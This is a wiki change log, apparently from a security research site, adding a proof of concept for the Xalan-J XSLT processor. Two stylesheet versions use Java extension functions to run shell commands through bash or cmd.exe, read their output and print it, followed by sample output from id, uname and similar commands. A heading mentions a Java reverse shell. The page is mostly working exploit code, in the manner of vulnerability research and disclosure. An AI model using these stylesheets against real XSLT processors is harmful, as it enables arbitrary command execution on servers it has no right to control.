Changes for page Engine_XalanJ
Last modified by Nicolas Gregoire on 2012/01/31 17:35
From version 
67.1 
67.1
edited by Nicolas Gregoire
on 2012/01/12 23:04
on 2012/01/12 23:04
Change comment:
Upload new attachment unixcommands.xml
To version 68.1
68.1
edited by Nicolas Gregoire
on 2012/01/12 23:12
on 2012/01/12 23:12
Change comment:
There is no comment for this version
Summary
Details
-
Page properties
-
- Content
-
... ... @@ -63,14 +63,16 @@ 63 63 64 64 === Reading stdout === 65 65 66 -As the output have an unknown number of lines, we must use a loop construct like "while" ... which is not available in XSLT. This limitation is due to the functional programming paradigm but can be circumvented using templates and recursion. This way, we can also __update__ some variables (using <loop:update>), but the syntax is awful and error prone.66 +As the output have an unknown number of lines, we must use a __loop__ construct like "while" ... which is not available in XSLT. This limitation is due to the functional programming paradigm but can be circumvented using templates and recursion. This way, we can also __update__ some variables, but the syntax is awful and error prone. 67 67 68 -It's far more efficient to 1) write loops using non-standard elements like <loop:while> 2) convert them in stylesheets using only templates and recursion. This conversion can be done with a tool like the [[XSLT Loop Compiler>>http://www2.informatik.hu-berlin.de/~~obecker/XSLT/loop-compiler/||rel="__blank"]] (which is itself in XSLT). 68 +It's far more efficient to 1) write loops using non-standard elements like <loop:while> and <loop:update> 2) convert them in stylesheets using only templates and recursion. This conversion can be done with a tool like the [[XSLT Loop Compiler>>http://www2.informatik.hu-berlin.de/~~obecker/XSLT/loop-compiler/||rel="__blank"]] (which is itself in XSLT). 69 69 70 +The following PoC will fetch some commands from a XML file, execute them (with bash or cmd.exe depending on the detected OS), read the standard output and display it. The file with a "lxsl" extension uses the non-standard <loop:*> elements and is far more readable than the "xsl" one. 71 + 70 70 |=Using non standards elements|=Using recursion and templates|=Commands to execute|=Output 71 -|[[xalanj-reading-stdout.lxsl>>attach:xalanj-reading-stdout.lxsl]]| |[[xalanj-reading-stdout.xsl>>attach:xalanj-reading-stdout.xsl]]||[[unix_commands.xml>>attach:unix_commands.xml]]||[[xalanj-reading-stdout.txt>>attach:xalanj-reading-stdout.txt]]73 +|[[xalanj-reading-stdout.lxsl>>attach:xalanj-reading-stdout.lxsl]]|[[xalanj-reading-stdout.xsl>>attach:xalanj-reading-stdout.xsl]]|[[unix_commands.xml>>attach:unix_commands.xml]]|[[xalanj-reading-stdout.txt>>attach:xalanj-reading-stdout.txt]] 72 72 73 -x x75 +It is of course possible to include commands for multiples OS in one file and to execute only the relevant ones. 74 74 75 75 === A pure Java reverse-shell === 76 76
-
xalanj-reading-stdout.lxsl
-
- Author
-
... ... @@ -1,0 +1,1 @@ 1 +xwiki:XWiki.NicolasGregoire - Size
-
... ... @@ -1,0 +1,1 @@ 1 +3.5 KB - Content
-
... ... @@ -1,0 +1,93 @@ 1 +<?xml version="1.0"?> 2 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 3 + xmlns:j="http://xml.apache.org/xalan/java" 4 + xmlns:bufferedreader="xalan://java.io.BufferedReader" 5 + xmlns:inputstreamreader="xalan://java.io.InputStreamReader" 6 + xmlns:process="xalan://java.lang.Process" 7 + xmlns:runtime="xalan://java.lang.Runtime" 8 + xmlns:loop="http://informatik.hu-berlin.de/loop" 9 + exclude-result-prefixes="j" 10 + version="1.0"> 11 + 12 + <!-- Configure the output --> 13 + <xsl:output method="text" /> 14 + <xsl:strip-space elements="*" /> 15 + 16 + <!-- Some variables --> 17 + <xsl:variable name="rt" select="runtime:getRuntime()"/> 18 + <xsl:variable name="os" select="j:java.lang.System.getProperty('os.name')"/> 19 + <xsl:variable name="unix_shell" select="'/bin/bash'"/> 20 + <xsl:variable name="unix_option" select="'-c'"/> 21 + <xsl:variable name="win_shell" select="'cmd.exe'"/> 22 + <xsl:variable name="win_option" select="'/C'"/> 23 + <xsl:variable name="delim" select="' -=DELIM=- '"/> 24 + 25 + <!-- The main template --> 26 + <xsl:template match="//command"> 27 + 28 + <!-- Fetch from the XML file --> 29 + <xsl:variable name="command" select="text()"/> 30 + 31 + <!-- Check the underlying OS --> 32 + <xsl:variable name="tmp"> 33 + <xsl:choose> 34 + <xsl:when test="contains($os, 'indows')"> 35 + <xsl:value-of select="concat($win_shell, $delim, $win_option, $delim, $command)"/> 36 + </xsl:when> 37 + <xsl:otherwise> 38 + <xsl:value-of select="concat($unix_shell, $delim, $unix_option, $delim, $command)"/> 39 + </xsl:otherwise> 40 + </xsl:choose> 41 + </xsl:variable> 42 + <xsl:variable name="cmd" select="j:java.lang.String.new($tmp)"/> 43 + 44 + <!-- Create the process and its streams --> 45 + <xsl:variable name="array" select="j:split($cmd, $delim)"/> 46 + <xsl:variable name="proc" select="runtime:exec($rt, $array)"/> 47 + <xsl:variable name="inputstream" select="process:getInputStream($proc)"/> 48 + <xsl:variable name="inputstreamreader" select="inputstreamreader:new($inputstream)"/> 49 + <xsl:variable name="bufferedreader" select="bufferedreader:new($inputstreamreader)"/> 50 + 51 + <!-- Print the detected OS --> 52 + <xsl:text>OS [</xsl:text> 53 + <xsl:value-of select="$os"/> 54 + <xsl:text>] ...
</xsl:text> 55 + 56 + <!-- Print the executed command --> 57 + <xsl:text>Executing [</xsl:text> 58 + <xsl:value-of select="$command"/> 59 + <xsl:text>] ...
</xsl:text> 60 + 61 + <!-- Prepare the loop --> 62 + <xsl:variable name="cond" select="1" /> 63 + <xsl:variable name="result" select="N/A" /> 64 + <loop:while test="$cond"> 65 + 66 + <!-- Read a line --> 67 + <loop:do> 68 + <xsl:variable name="line" select="bufferedreader:readLine($bufferedreader)"/> 69 + <xsl:variable name="class" select="j:toString(j:getClass($line))"/> 70 + <xsl:variable name="continue" select="j:equals($class, 'class java.lang.String')"/> 71 + <!-- Debug code 72 + <xsl:text>Line: </xsl:text><xsl:value-of select="$line"/> <xsl:text>
</xsl:text> 73 + <xsl:text>Loop : </xsl:text><xsl:value-of select="$continue"/> <xsl:text>
</xsl:text> 74 + --> 75 + </loop:do> 76 + 77 + <!-- Print the result --> 78 + <loop:last> 79 + <!-- Debug code 80 + <xsl:text>Result:</xsl:text> 81 + <xsl:text>
</xsl:text> 82 + --> 83 + <xsl:value-of select="$result"/> 84 + </loop:last> 85 + 86 + <!-- Update the global variables --> 87 + <loop:update name="cond" select="$continue"/> 88 + <loop:update name="result" select="concat($result, $line, '
')"/> 89 + 90 + </loop:while> 91 + </xsl:template> 92 +</xsl:stylesheet> 93 +
-
xalanj-reading-stdout.txt
-
- Author
-
... ... @@ -1,0 +1,1 @@ 1 +xwiki:XWiki.NicolasGregoire - Size
-
... ... @@ -1,0 +1,1 @@ 1 +1.2 KB - Content
-
... ... @@ -1,0 +1,40 @@ 1 +OS [Linux] ... 2 +Executing [id] ... 3 +uid=1000(nic0b) gid=1000(nic0b) groupes=20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(nic0b) 4 + 5 +OS [Linux] ... 6 +Executing [date] ... 7 +jeudi 12 janvier 2012, 22:58:55 (UTC+0100) 8 + 9 +OS [Linux] ... 10 +Executing [ifconfig lo] ... 11 +lo Link encap:Boucle locale 12 + inet adr:127.0.0.1 Masque:255.0.0.0 13 + adr inet6: ::1/128 Scope:Hôte 14 + UP LOOPBACK RUNNING MTU:16436 Metric:1 15 + Packets reçus:7830 erreurs:0 :0 overruns:0 frame:0 16 + TX packets:7830 errors:0 dropped:0 overruns:0 carrier:0 17 + collisions:0 lg file transmission:0 18 + Octets reçus:1543564 (1.5 MB) Octets transmis:1543564 (1.5 MB) 19 + 20 + 21 +OS [Linux] ... 22 +Executing [tree /var/cache/apt] ... 23 +/var/cache/apt 24 +|-- apt-file 25 +| |-- fr.archive.ubuntu.com_ubuntu_dists_lucid_Contents-i386.gz 26 +| |-- fr.archive.ubuntu.com_ubuntu_dists_lucid-updates_Contents-i386.gz 27 +| `-- security.ubuntu.com_ubuntu_dists_lucid-security_Contents-i386.gz 28 +|-- archives 29 +| |-- lock 30 +| `-- partial 31 +|-- pkgcache.bin 32 +`-- srcpkgcache.bin 33 + 34 +3 directories, 6 files 35 + 36 +OS [Linux] ... 37 +Executing [uname -a] ... 38 +Linux testbox4 2.6.32-37-generic #81-Ubuntu SMP Fri Dec 2 20:35:14 UTC 2011 i686 GNU/Linux 39 + 40 +
-
xalanj-reading-stdout.xsl
-
- Author
-
... ... @@ -1,0 +1,1 @@ 1 +xwiki:XWiki.NicolasGregoire - Size
-
... ... @@ -1,0 +1,1 @@ 1 +5.1 KB - Content
-
... ... @@ -1,0 +1,82 @@ 1 +<?xml version="1.0" encoding="iso-8859-1"?> 2 +<!-- 3 + 4 + File generated by translating loops into recursive template calls. 5 + XSLT Loop Compiler, Version 1.0 6 + GPL (c) O. Becker 7 + 8 + --> 9 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:j="http://xml.apache.org/xalan/java" xmlns:bufferedreader="xalan://java.io.BufferedReader" xmlns:inputstreamreader="xalan://java.io.InputStreamReader" xmlns:process="xalan://java.lang.Process" xmlns:runtime="xalan://java.lang.Runtime" xmlns:loop="http://informatik.hu-berlin.de/loop" exclude-result-prefixes="j" version="1.0"> 10 + 11 + <!-- Configure the output --> 12 + <xsl:output method="text"/> 13 + <xsl:strip-space elements="*"/> 14 + 15 + <!-- Some variables --> 16 + <xsl:variable name="rt" select="runtime:getRuntime()"/> 17 + <xsl:variable name="os" select="j:java.lang.System.getProperty('os.name')"/> 18 + <xsl:variable name="unix_shell" select="'/bin/bash'"/> 19 + <xsl:variable name="unix_option" select="'-c'"/> 20 + <xsl:variable name="win_shell" select="'cmd.exe'"/> 21 + <xsl:variable name="win_option" select="'/C'"/> 22 + <xsl:variable name="delim" select="' -=DELIM=- '"/> 23 + 24 + <!-- The main template --> 25 + <xsl:template match="//command"> 26 + 27 + <!-- Fetch from the XML file --> 28 + <xsl:variable name="command" select="text()"/> 29 + 30 + <!-- Check the underlying OS --> 31 + <xsl:variable name="tmp"> 32 + <xsl:choose> 33 + <xsl:when test="contains($os, 'indows')"> 34 + <xsl:value-of select="concat($win_shell, $delim, $win_option, $delim, $command)"/> 35 + </xsl:when> 36 + <xsl:otherwise> 37 + <xsl:value-of select="concat($unix_shell, $delim, $unix_option, $delim, $command)"/> 38 + </xsl:otherwise> 39 + </xsl:choose> 40 + </xsl:variable> 41 + <xsl:variable name="cmd" select="j:java.lang.String.new($tmp)"/> 42 + 43 + <!-- Create the process and its streams --> 44 + <xsl:variable name="array" select="j:split($cmd, $delim)"/> 45 + <xsl:variable name="proc" select="runtime:exec($rt, $array)"/> 46 + <xsl:variable name="inputstream" select="process:getInputStream($proc)"/> 47 + <xsl:variable name="inputstreamreader" select="inputstreamreader:new($inputstream)"/> 48 + <xsl:variable name="bufferedreader" select="bufferedreader:new($inputstreamreader)"/> 49 + 50 + <!-- Print the detected OS --> 51 + <xsl:text>OS [</xsl:text> 52 + <xsl:value-of select="$os"/> 53 + <xsl:text>] ... 54 +</xsl:text> 55 + 56 + <!-- Print the executed command --> 57 + <xsl:text>Executing [</xsl:text> 58 + <xsl:value-of select="$command"/> 59 + <xsl:text>] ... 60 +</xsl:text> 61 + 62 + <!-- Prepare the loop --> 63 + <xsl:variable name="cond" select="1"/> 64 + <xsl:variable name="result" select="N/A"/> 65 + <axslt:call-template xmlns:axslt="http://www.w3.org/1999/XSL/Transform" name="while-loop-id2496582"><axslt:with-param name="command" select="$command"/><axslt:with-param name="tmp" select="$tmp"/><axslt:with-param name="cmd" select="$cmd"/><axslt:with-param name="array" select="$array"/><axslt:with-param name="proc" select="$proc"/><axslt:with-param name="inputstream" select="$inputstream"/><axslt:with-param name="inputstreamreader" select="$inputstreamreader"/><axslt:with-param name="bufferedreader" select="$bufferedreader"/><axslt:with-param name="cond" select="$cond"/><axslt:with-param name="result" select="$result"/></axslt:call-template> 66 + </xsl:template> 67 +<axslt:template xmlns:axslt="http://www.w3.org/1999/XSL/Transform" name="while-loop-id2496582"><axslt:param name="command"/><axslt:param name="tmp"/><axslt:param name="cmd"/><axslt:param name="array"/><axslt:param name="proc"/><axslt:param name="inputstream"/><axslt:param name="inputstreamreader"/><axslt:param name="bufferedreader"/><axslt:param name="cond"/><axslt:param name="result"/><axslt:choose><axslt:when test="$cond"> 68 + <xsl:variable name="line" select="bufferedreader:readLine($bufferedreader)"/> 69 + <xsl:variable name="class" select="j:toString(j:getClass($line))"/> 70 + <xsl:variable name="continue" select="j:equals($class, 'class java.lang.String')"/> 71 + <!-- Debug code 72 + <xsl:text>Line: </xsl:text><xsl:value-of select="$line"/> <xsl:text>
</xsl:text> 73 + <xsl:text>Loop : </xsl:text><xsl:value-of select="$continue"/> <xsl:text>
</xsl:text> 74 + --> 75 + <axslt:call-template name="while-loop-id2496582"><axslt:with-param name="command" select="$command"/><axslt:with-param name="tmp" select="$tmp"/><axslt:with-param name="cmd" select="$cmd"/><axslt:with-param name="array" select="$array"/><axslt:with-param name="proc" select="$proc"/><axslt:with-param name="inputstream" select="$inputstream"/><axslt:with-param name="inputstreamreader" select="$inputstreamreader"/><axslt:with-param name="bufferedreader" select="$bufferedreader"/><axslt:with-param name="cond" select="$continue"/><axslt:with-param name="result" select="concat($result, $line, ' ')"/></axslt:call-template></axslt:when><axslt:otherwise> 76 + <!-- Debug code 77 + <xsl:text>Result:</xsl:text> 78 + <xsl:text>
</xsl:text> 79 + --> 80 + <xsl:value-of select="$result"/> 81 + </axslt:otherwise></axslt:choose></axslt:template></xsl:stylesheet> 82 +